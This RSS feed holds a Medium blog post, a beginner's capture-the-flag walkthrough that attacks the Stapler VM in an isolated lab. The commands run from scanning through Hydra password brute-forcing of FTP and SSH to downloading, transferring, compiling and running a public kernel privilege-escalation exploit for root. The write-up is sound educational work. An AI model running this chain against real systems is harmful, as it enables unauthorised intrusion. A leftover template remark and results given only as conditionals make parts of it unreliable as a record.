<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by R Pranav on Medium]]></title>
        <description><![CDATA[Stories by R Pranav on Medium]]></description>
        <link>https://medium.com/@pranavrajeev2021?source=rss-18e6e52cc746------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*y1ySw_C9oQ5EMptu7z6_mg.png</url>
            <title>Stories by R Pranav on Medium</title>
            <link>https://medium.com/@pranavrajeev2021?source=rss-18e6e52cc746------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 21:20:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@pranavrajeev2021/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My First Hands-On Cybersecurity Lab: Exploring the Stapler CTF]]></title>
            <link>https://medium.com/@pranavrajeev2021/my-first-hands-on-cybersecurity-lab-exploring-the-stapler-ctf-71f506c49972?source=rss-18e6e52cc746------2</link>
            <guid isPermaLink="false">https://medium.com/p/71f506c49972</guid>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[R Pranav]]></dc:creator>
            <pubDate>Tue, 27 Oct 2026 19:50:01 GMT</pubDate>
            <atom:updated>2026-10-27T19:50:01.450Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lessons from setting up a virtual lab, exploring network services, obtaining SSH access, and learning the fundamentals of penetration testing.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qW30Xgcy2p5xRSzL5ZTdHg.png" /></figure><h3>Introduction</h3><p>Cybersecurity is a field where understanding concepts is only the beginning. The real learning starts when you build a lab, interact with vulnerable systems, investigate services, troubleshoot problems, and understand how different security tools fit together.</p><p>As part of a <strong>Practical Offensive Security &amp; CTF Workshop</strong>, I decided to take a hands-on approach to learning offensive security using an isolated virtual lab environment.</p><p>In this walkthrough, I will document my complete journey through the Stapler CTF machine — starting from setting up VirtualBox and Kali Linux, configuring the lab network, and progressing through reconnaissance, enumeration, initial access, vulnerability research, and privilege escalation.</p><p>The goal of this article is not simply to list commands. I want to document what I did, why I did it, what I discovered, the problems I encountered, and what I learned throughout the Stapler challenge.</p><p>The techniques covered throughout this lab include:</p><ul><li>🔹 Virtual lab setup and network configuration</li><li>🔹 Linux and Kali Linux fundamentals</li><li>🔹 Network reconnaissance</li><li>🔹 Port and service enumeration</li><li>🔹 FTP enumeration</li><li>🔹 Credential discovery and password auditing</li><li>🔹 SSH access</li><li>🔹 Vulnerability research using SearchSploit and Exploit-DB</li><li>🔹 Linux privilege escalation</li><li>🔹 CTF methodology and problem solving</li><li>🔹 Troubleshooting during a real hands-on lab</li></ul><p>All testing documented in this article is performed against <strong>intentionally vulnerable machines in an isolated educational environment</strong>. The purpose is learning and security research, not testing systems without authorization.</p><h3>🧪 Lab Environment</h3><p>Before beginning the CTFs, I first prepared my own penetration-testing laboratory using VirtualBox.</p><p>The lab consists of:</p><p><strong>Windows Host</strong><br>Physical machine used to run the virtual machines.</p><p><strong>VirtualBox</strong><br>Virtualization platform used to create and manage the lab environment.</p><p><strong>Kali Linux</strong><br>Attacker and security-testing machine.</p><p><strong>Stapler</strong><br>Intentionally vulnerable CTF machine used as the target.</p><p><strong>Host-Only Network</strong><br>Provided isolated communication between the virtual machines.</p><p>The lab network uses the 192.168.56.0/24 range.</p><p>At the time of testing, my Kali machine was assigned:</p><p><em>Kali Linux<br>192.168.56.102</em></p><p>The Stapler machine was identified as:</p><p>Stapler<br>192.168.56.101</p><p>Keeping the machines inside a Host-Only network allows me to perform the exercises in an isolated environment without targeting external systems.</p><h3>🛠️ Setting Up the Lab</h3><p>The first stage of the workshop was preparing the environment.</p><p>I installed and configured:</p><ol><li>VirtualBox</li><li>Kali Linux</li><li>Stapler</li><li>Host-Only networking</li></ol><p>One of the first challenges I encountered was configuring the VirtualBox Host-Only network adapter. Initially, VirtualBox was unable to create the required Host-Only interface because of a networking-driver issue.</p><p>After troubleshooting the VirtualBox installation and reinstalling the required networking components, the Host-Only adapter became available.</p><p>This was an important reminder that <strong>setting up a security lab is itself part of the practical learning process</strong>.</p><h3>🔎 Beginning the CTF</h3><p>Once the environment was ready, I started with the Stapler machine.</p><p>The general methodology I followed was:</p><pre>Reconnaissance<br>      ↓<br>Enumeration<br>      ↓<br>Identify Attack Surface<br>      ↓<br>Initial Access<br>      ↓<br>Credential Discovery<br>      ↓<br>Remote Access<br>      ↓<br>System Enumeration<br>      ↓<br>Vulnerability Research<br>      ↓<br>Privilege Escalation</pre><p>I will document each stage with the commands I used, screenshots of my results, and an explanation of what I learned.</p><h3>1. Network Discovery</h3><p>After setting up the lab environment, the next step was to identify the machines available on the isolated Host-Only network.</p><p>For this, I used <strong>Netdiscover</strong>, a network reconnaissance tool that can identify active hosts and their MAC addresses on a local network.</p><p>I scanned the entire 192.168.56.0/24 network using:</p><pre>sudo netdiscover -r 192.168.56.0/24</pre><h3>Results</h3><p>The scan identified the following hosts:</p><p>IP AddressIdentified MachineRole192.168.56.1VirtualBox HostHost192.168.56.100CTF VMTarget candidate192.168.56.101StaplerTarget192.168.56.102Kali LinuxAttacker</p><p><strong>Figure 1 — Network discovery using Netdiscover</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*ayJwXngAzt2Ey46hM8Ayeg.png" /></figure><p>From the discovered hosts, I identified 192.168.56.101 as the Stapler target used for the next stage of the assessment.</p><p>The next step was to perform <strong>port and service enumeration</strong> against the target to understand which services were exposed.</p><h3>2. Port &amp; Service Enumeration</h3><p>Once the Stapler machine was identified, I moved to the next phase: <strong>enumerating its exposed services and open ports</strong>.</p><p>I used <strong>Nmap</strong>, one of the most commonly used network scanning tools in penetration testing. The objective was to identify open TCP ports, running services, and useful information about the target system.</p><p>I performed a full TCP port scan with service and OS detection:</p><pre>nmap -A -p- 192.168.56.101</pre><h3>Understanding the command</h3><ul><li>-p- — scans all TCP ports from 1 to 65535.</li><li>-A — enables several advanced detection features, including service/version detection and OS-related information.</li><li>192.168.56.101 — the Stapler target in my isolated lab.</li></ul><h3>Scan Results</h3><blockquote><strong><em>Figure 2 — Nmap scan of the Stapler target</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*e8hDxpvZa9RLmQwVO00iSA.png" /></figure><p>The scan revealed multiple exposed services. I recorded the important findings in the following table:</p><p>PortServiceObservation21FTPFile transfer service22SSHRemote login service53DNSDomain Name System service80HTTPWeb service139SMBFile sharing3306MySQLDatabase service12380HTTPAdditional web service</p><blockquote><strong><em>Note:</em></strong><em> The table should contain the ports from </em><strong><em>your own Nmap scan</em></strong><em>. If your scan shows additional information or different versions, update the table accordingly.</em></blockquote><h3>Initial Analysis</h3><p>The exposed services provided several possible paths for further enumeration. I decided to investigate the <strong>FTP service first</strong>, as anonymous FTP access can sometimes expose files or information that may help identify credentials or other attack paths.</p><p>This led to the next stage of the assessment: <strong>FTP Enumeration</strong>.</p><h3>3. FTP Enumeration</h3><p>After identifying FTP as one of the exposed services, I investigated the service to determine whether anonymous access was enabled and whether it exposed any useful files.</p><p>I connected to the FTP service running on the Stapler machine:</p><pre>ftp 192.168.56.101</pre><p>The FTP service prompted for a username. I tested anonymous access using:</p><pre>Username: anonymous<br>Password: anonymous</pre><p>After successfully connecting, I listed the available files:</p><pre>ls</pre><p>The directory contained a file named:</p><pre>note</pre><p>I downloaded the file using:</p><pre>get note</pre><p>I then exited the FTP session:</p><pre>exit</pre><h3>Inspecting the Retrieved File</h3><p>Back in Kali Linux, I examined the downloaded file:</p><pre>cat note</pre><p>The contents provided information that helped identify <strong>Elly</strong> as a relevant username for the next stage of the assessment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*F4SERuSszH6GByCt-B81yw.png" /></figure><blockquote><strong><em>Figure 3 — Anonymous FTP access and file enumeration</em></strong></blockquote><h3>What I Learned</h3><p>This stage demonstrated why <strong>service enumeration</strong> is important during a penetration test. An apparently simple service such as FTP can expose files or information that become useful for subsequent stages of an assessment.</p><p>The discovery of the note file provided a lead for the next phase: <strong>credential auditing against the FTP service</strong>.</p><h3>4. Credential Auditing with Hydra</h3><p>The information obtained from the FTP enumeration suggested that elly was a valid username to investigate.</p><p>For the authorized Stapler CTF environment, I used <strong>Hydra</strong> to perform password auditing against the FTP service:</p><pre>hydra -l elly -e nsr ftp://192.168.56.101</pre><h3>Understanding the command</h3><ul><li>hydra — password-auditing tool supporting multiple network protocols.</li><li>-l elly — specifies the username being tested.</li><li>-e nsr — tests additional common password possibilities based on the username.</li><li>ftp://192.168.56.101 — specifies the FTP service on the Stapler target.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yuRz8qa6_IPLYBFkbXn6OA.png" /></figure><blockquote><strong><em>Figure 4 — Hydra credential-auditing attempt</em></strong></blockquote><p>Once the credentials were identified, I used them to authenticate to the FTP service and investigate the files available to the elly account.</p><h3>5. Retrieving and Analyzing the passwd File</h3><p>After identifying valid FTP credentials, I authenticated to the FTP service again using the discovered account.</p><pre>ftp 192.168.56.101</pre><p>I then authenticated using the credentials discovered during the previous stage.</p><p>Once logged in, I listed the available files:</p><pre>ls</pre><p>Among the available files, I found a file named passwd. I downloaded it to my Kali machine using:</p><pre>mget passwd</pre><p>For a single file, get passwd can also be used:</p><pre>get passwd</pre><p>After downloading the file, I exited the FTP session:</p><pre>exit</pre><h3>Examining the File</h3><p>Back in Kali, I inspected the downloaded file:</p><pre>cat passwd</pre><p>The file contained account information that could be used to identify potential usernames on the target system.</p><p>To extract the usernames into a separate file, I used:</p><pre>awk -F: &#39;{print $1}&#39; passwd &gt; username.txt</pre><p>I then verified the extracted usernames:</p><pre>cat username.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*gcwTro-PSp2QC3dWJ2PlLw.png" /></figure><blockquote><strong><em>Figure 5 — Extracting usernames from the </em></strong><strong><em>passwd file</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*9-SPcJCLDpRN-aH9OY5Law.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*gcwTro-PSp2QC3dWJ2PlLw.png" /></figure><h3>What I Learned</h3><p>This stage demonstrated how information exposed through one service can be used to support enumeration of another service.</p><p>The usernames obtained from the file provided candidates for the next stage: <strong>SSH credential auditing and remote access</strong>.</p><h3>6. SSH Credential Auditing</h3><p>With a list of potential usernames available, I investigated whether any of them could be used to authenticate to the SSH service identified earlier during the Nmap scan.</p><p>For this authorized CTF environment, I used Hydra to perform password auditing against SSH:</p><pre>hydra -L username.txt -P username.txt ssh://192.168.56.101</pre><h3>Understanding the command</h3><ul><li>-L username.txt — supplies the list of candidate usernames.</li><li>-P username.txt — supplies the candidate password list.</li><li>ssh://192.168.56.101 — targets the SSH service on the Stapler VM.</li></ul><blockquote><strong><em>Figure 6 — SSH credential auditing</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*_1ClKuloicZL-QSxMWk89A.png" /></figure><p>The testing identified credentials that allowed me to authenticate to the target through SSH.</p><p>I then established an SSH session:</p><pre>ssh ShaySlett@192.168.56.101</pre><p>After successfully authenticating, I verified the account:</p><pre>whoami</pre><p>The result confirmed that I had obtained access as:</p><pre>ShaySlett</pre><p>This marked the transition from <strong>network/service enumeration</strong> to <strong>post-authentication Linux enumeration</strong>.</p><h3>7. Linux System Enumeration</h3><p>After obtaining SSH access as ShaySlett, I moved to the next phase: <strong>enumerating the target system</strong>.</p><p>The purpose of this stage was to understand the operating system, kernel version, current user privileges, and available privilege-escalation opportunities.</p><h3>Checking the Kernel Version</h3><p>I first checked the Linux kernel information:</p><pre>uname -a</pre><p>The system reported:</p><pre>Linux red 4.4.0-21-generic ...</pre><p>This was an important finding because the kernel version can help determine whether known local vulnerabilities may apply.</p><h3>Identifying the Operating System</h3><p>I then checked the operating-system information:</p><pre>cat /etc/os-release</pre><p>The target was running:</p><pre>Ubuntu 16.04 LTS (Xenial Xerus)</pre><h3>Checking the Current User</h3><p>Next, I checked the current user’s identity and group memberships:</p><pre>id</pre><p>The SSH session was running as:</p><pre>ShaySlett</pre><p>I also confirmed the username with:</p><pre>whoami</pre><h3>Checking Sudo Privileges</h3><p>Finally, I checked whether the current account had any permitted sudo commands:</p><pre>sudo -l</pre><p>The system indicated that the ShaySlett account could not use sudo.</p><h3>Findings</h3><p>At this point, I had established:</p><p>ItemFindingOperating SystemUbuntu 16.04 LTSKernel4.4.0–21-genericCurrent UserShaySlettPrivilege LevelNon-rootSudo AccessNot available</p><blockquote><strong><em>Figure 7 — Linux system enumeration after SSH access</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*EYDI0n4mCOxudBnqh7NCOA.png" /></figure><p>These findings suggested that I needed to investigate <strong>local privilege-escalation vulnerabilities</strong> rather than relying on sudo.</p><p>The next step was to research the kernel version using <strong>SearchSploit</strong> and identify whether a suitable vulnerability existed.</p><h3>8. Vulnerability Research with SearchSploit</h3><p>To investigate known vulnerabilities affecting the target’s software and kernel version, I used <strong>SearchSploit</strong>, the command-line interface for the Exploit Database maintained in Kali Linux.</p><p>I searched for exploits associated with the relevant kernel version:</p><pre>searchsploit 39772</pre><p>The search identified:</p><pre>Linux Kernel 4.4.x (Ubuntu 16.04) - &#39;double-fdput()&#39; bpf(BPF_PROG_LOAD) Local Privilege Escalation</pre><p>The exploit was associated with <strong>EDB-ID 39772</strong> and <strong>CVE-2016–4557</strong>.</p><p>I then checked the local Exploit-DB path:</p><pre>searchsploit -p 39772</pre><p>This showed the locally available description:</p><pre>/usr/share/exploitdb/exploits/linux/local/39772.txt</pre><blockquote><strong><em>Figure 8 — Searching for EDB-39772 using SearchSploit</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*H1t-6REbVZ05UNVtr5EqhA.png" /></figure><h3>Understanding the Finding</h3><p>The vulnerability involved the Linux kernel’s handling of eBPF-related file descriptors and could potentially result in a <strong>use-after-free condition</strong>.</p><p>Since the Stapler environment matched the documented affected environment, I proceeded to investigate the exploit source and prepare it for the controlled CTF environment.</p><h3>9. Preparing the Exploit</h3><p>After identifying EDB-39772, I examined the locally available Exploit-DB information to understand how the exploit was structured and how it could be prepared for the Stapler environment.</p><p>The exploit package was obtained from the Exploit-DB binary archive and downloaded into my Kali working directory.</p><p>I created a dedicated directory for the exploit:</p><pre>mkdir -p ~/stapler/39772<br>cd ~/stapler/39772</pre><p>I then downloaded the corresponding exploit archive:</p><pre>wget -O 39772.zip &#39;https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip&#39;</pre><p>The archive was successfully downloaded and extracted:</p><pre>unzip 39772.zip</pre><p>The extracted directory contained the exploit archive:</p><pre>39772/<br>├── crasher.tar<br>└── exploit.tar</pre><p>I inspected the contents of the exploit archive:</p><pre>tar -tf exploit.tar</pre><p>This revealed the following source files:</p><pre>ebpf_mapfd_doubleput_exploit/<br>├── hello.c<br>├── suidhelper.c<br>├── compile.sh<br>└── doubleput.c</pre><p>I then extracted the exploit source:</p><pre>tar -xvf exploit.ta</pre><p>The compile.sh script showed that the exploit consisted of multiple C programs that needed to be compiled:</p><pre>cat ebpf_mapfd_doubleput_exploit/compile.sh</pre><p>The script contained:</p><pre>gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`<br>gcc -o doubleput doubleput.c -Wall<br>gcc -o suidhelper suidhelper.c -Wall</pre><p>This confirmed that the exploit package contained the source code and compilation script required for the next stage.</p><blockquote><strong><em>Figure 9 — Preparing and extracting the EDB-39772 exploit</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*lt6Ajm5yJWKJ6oitkWoXsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*tusCL1J8CTa41moZgEHDww.png" /></figure><h3>Understanding the Exploit Package</h3><p>The exploit package contained the source files, helper program, and compilation script required to build the proof-of-concept locally. At this stage, I had not yet executed the exploit against the target.</p><p>The next step was to transfer the required exploit files from Kali Linux to the isolated Stapler machine.</p><h3>10. Transferring the Exploit to Stapler</h3><p>For the isolated lab, I used Kali’s built-in Python HTTP server to temporarily serve the exploit files.</p><p>On Kali Linux:</p><pre>cd ~/stapler/39772<br>python3 -m http.server 8000 --bind 192.168.56.102</pre><p>The server started on:</p><pre>192.168.56.102:8000</pre><p>I then connected to the Stapler machine through the previously obtained SSH account:</p><pre>ssh ShaySlett@192.168.56.101</pre><p>From the Stapler machine, the exploit archive could then be retrieved from the Kali HTTP server.</p><h3>11. Compiling the Exploit on Stapler</h3><p>After transferring the exploit package to the Stapler machine, I extracted the source files and prepared them for compilation.</p><p>On the Stapler machine, I first extracted the archive:</p><pre>tar -xvf exploit.tar</pre><p>I then entered the extracted exploit directory:</p><pre>cd ebpf_mapfd_doubleput_exploit</pre><p>I verified the available files:</p><pre>ls</pre><p>The directory contained:</p><pre>compile.sh<br>doubleput.c<br>hello.c<br>suidhelper.c</pre><p>The included compile.sh script provided the compilation commands for the exploit components. I made the script executable:</p><pre>chmod +x compile.sh</pre><p>I then executed the compilation script:</p><pre>./compile.sh</pre><p>This compiled the C source files and generated the required executable files for the next stage.</p><h3>Understanding the Compilation Stage</h3><p>This stage demonstrated how a locally available proof-of-concept exploit can be prepared from its source code. The compilation process converted the C source files into executable programs that could be tested within the isolated Stapler environment.</p><p>The next stage was to execute the compiled proof of concept and observe its behavior on the vulnerable system.</p><h3>12. Executing the Privilege-Escalation Exploit</h3><p>After compiling the exploit components, I proceeded to execute the doubleput proof of concept within the isolated Stapler CTF environment.</p><p>From the exploit directory, I ran:</p><pre>./doubleput</pre><p>The program began executing the eBPF-based proof of concept and displayed its runtime output.</p><h3>Observing the Result</h3><p>The purpose of this stage was to determine whether the proof of concept could successfully trigger the documented kernel vulnerability on the Stapler machine.</p><p>If successful, the exploit should result in a transition from the existing unprivileged SSH session to a privileged shell.</p><p>After the command finishes, I verified the current privilege level using:</p><pre>whoami</pre><p>I also checked the user ID:</p><pre>id</pre><p>These commands allowed me to confirm whether the privilege escalation had succeeded.</p><h3>13. Root Access Verification</h3><p>After executing the proof of concept, I verified whether the privilege escalation had successfully changed the current user context.</p><p>I first checked the current username:</p><pre>whoami</pre><p>I then checked the user ID and group information:</p><pre>id</pre><p>If the exploit was successful, these commands should show that the current session has <strong>root-level privileges</strong>.</p><h3>Confirming Root Access</h3><p>To further verify the result, I checked the effective user ID:</p><pre>id -u</pre><p>A value of:</p><pre>0</pre><p>indicates that the current process is running with root privileges.</p><p>I also verified access to the root user’s home directory:</p><pre>cd /root<br>pwd</pre><p>The successful execution of these commands confirmed that the privilege-escalation stage had been completed in the isolated Stapler CTF environment.</p><h3>What I Learned</h3><p>This stage demonstrated how a vulnerability in the Linux kernel can potentially be leveraged for local privilege escalation when the target environment matches the affected configuration. It also highlighted the importance of correlating system enumeration results — particularly the kernel version and operating system — with vulnerability research.</p><h3>14. Lessons Learned</h3><p>The Stapler CTF provided a practical understanding of how different stages of a security assessment connect together.</p><h3>Key Takeaways</h3><p><strong>1. Lab configuration matters</strong></p><p>Setting up VirtualBox, Kali Linux, Stapler, and the Host-Only network was the foundation of the entire exercise. Troubleshooting the VirtualBox networking driver was itself an important part of the learning process.</p><p><strong>2. Reconnaissance is the starting point</strong></p><p>Using Netdiscover helped identify active machines on the isolated network and allowed me to determine the target IP address.</p><p><strong>3. Enumeration reveals the attack surface</strong></p><p>The Nmap scan provided information about the services exposed by Stapler. This helped determine which services required further investigation.</p><p><strong>4. Information from one service can support another</strong></p><p>The FTP note file provided a username that became useful during the credential-auditing stage. The passwd file subsequently provided additional usernames for SSH testing.</p><p><strong>5. Post-authentication enumeration is important</strong></p><p>After obtaining SSH access, commands such as:</p><pre>uname -a<br>cat /etc/os-release<br>id<br>whoami<br>sudo -l</pre><p>helped establish the operating system, kernel version, current user, and available privileges.</p><p><strong>6. Vulnerability research should be based on system information</strong></p><p>SearchSploit allowed me to connect the identified Ubuntu/kernel environment with a documented local privilege-escalation vulnerability.</p><p><strong>7. Troubleshooting is part of practical security work</strong></p><p>Throughout the lab, I encountered networking and configuration issues. Resolving these problems was an important part of completing the exercise rather than simply following commands.</p><h3>Overall Learning</h3><p>The biggest lesson from this CTF was that penetration testing is not just about running individual tools. It involves a continuous process of <strong>discovering information, interpreting results, forming hypotheses, testing them, and adapting to what the target reveals</strong>.</p><p>This experience also helped me understand how reconnaissance, enumeration, credential discovery, remote access, system enumeration, vulnerability research, and privilege escalation fit together as a complete workflow.</p><h3>15. Conclusion</h3><p>The Stapler CTF was a valuable hands-on exercise that allowed me to apply concepts from offensive security in an intentionally vulnerable and isolated environment.</p><p>Starting with VirtualBox and network configuration, I progressed through network discovery, service enumeration, FTP investigation, credential auditing, SSH access, Linux system enumeration, and vulnerability research using SearchSploit.</p><p>The exercise also reinforced an important principle of cybersecurity: <strong>understanding why a technique works is more valuable than simply knowing the command to execute it.</strong></p><p>Working through the challenges and troubleshooting problems along the way gave me a better understanding of practical penetration-testing methodology and Linux security.</p><p>Most importantly, the workshop helped bridge the gap between <strong>theory and hands-on cybersecurity practice</strong>.</p><blockquote><strong><em>All activities described in this article were performed against an intentionally vulnerable CTF machine in an isolated educational environment.</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71f506c49972" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>